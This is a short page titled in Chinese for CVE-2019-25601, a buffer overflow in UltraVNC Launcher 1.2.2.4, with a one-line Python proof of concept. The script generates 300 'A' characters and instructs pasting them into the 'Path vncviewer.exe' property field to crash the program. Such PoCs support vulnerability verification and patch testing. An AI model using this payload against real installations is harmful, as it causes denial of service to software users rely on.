CVE-2019-25601 UltraVNC Launcher缓冲区溢出漏洞

# PoC for CVE-2019-25601 # Generates a payload to trigger the buffer overflow in UltraVNC Launcher 1.2.2.4 def generate_exploit_payload(): # The vulnerability is triggered by a payload of approximately 300 bytes # Inputting this string into the 'Path vncviewer.exe' field causes a crash payload = "A" * 300 return payload if __name__ == "__main__": exploit = generate_exploit_payload() print(f"[+] Generated Payload Length: {len(exploit)}") print(f"[+] Payload: {exploit}") print("[+] Instruction: Copy the payload and paste it into the 'Path vncviewer.exe' property field in the UltraVNC Launcher Properties dialog.")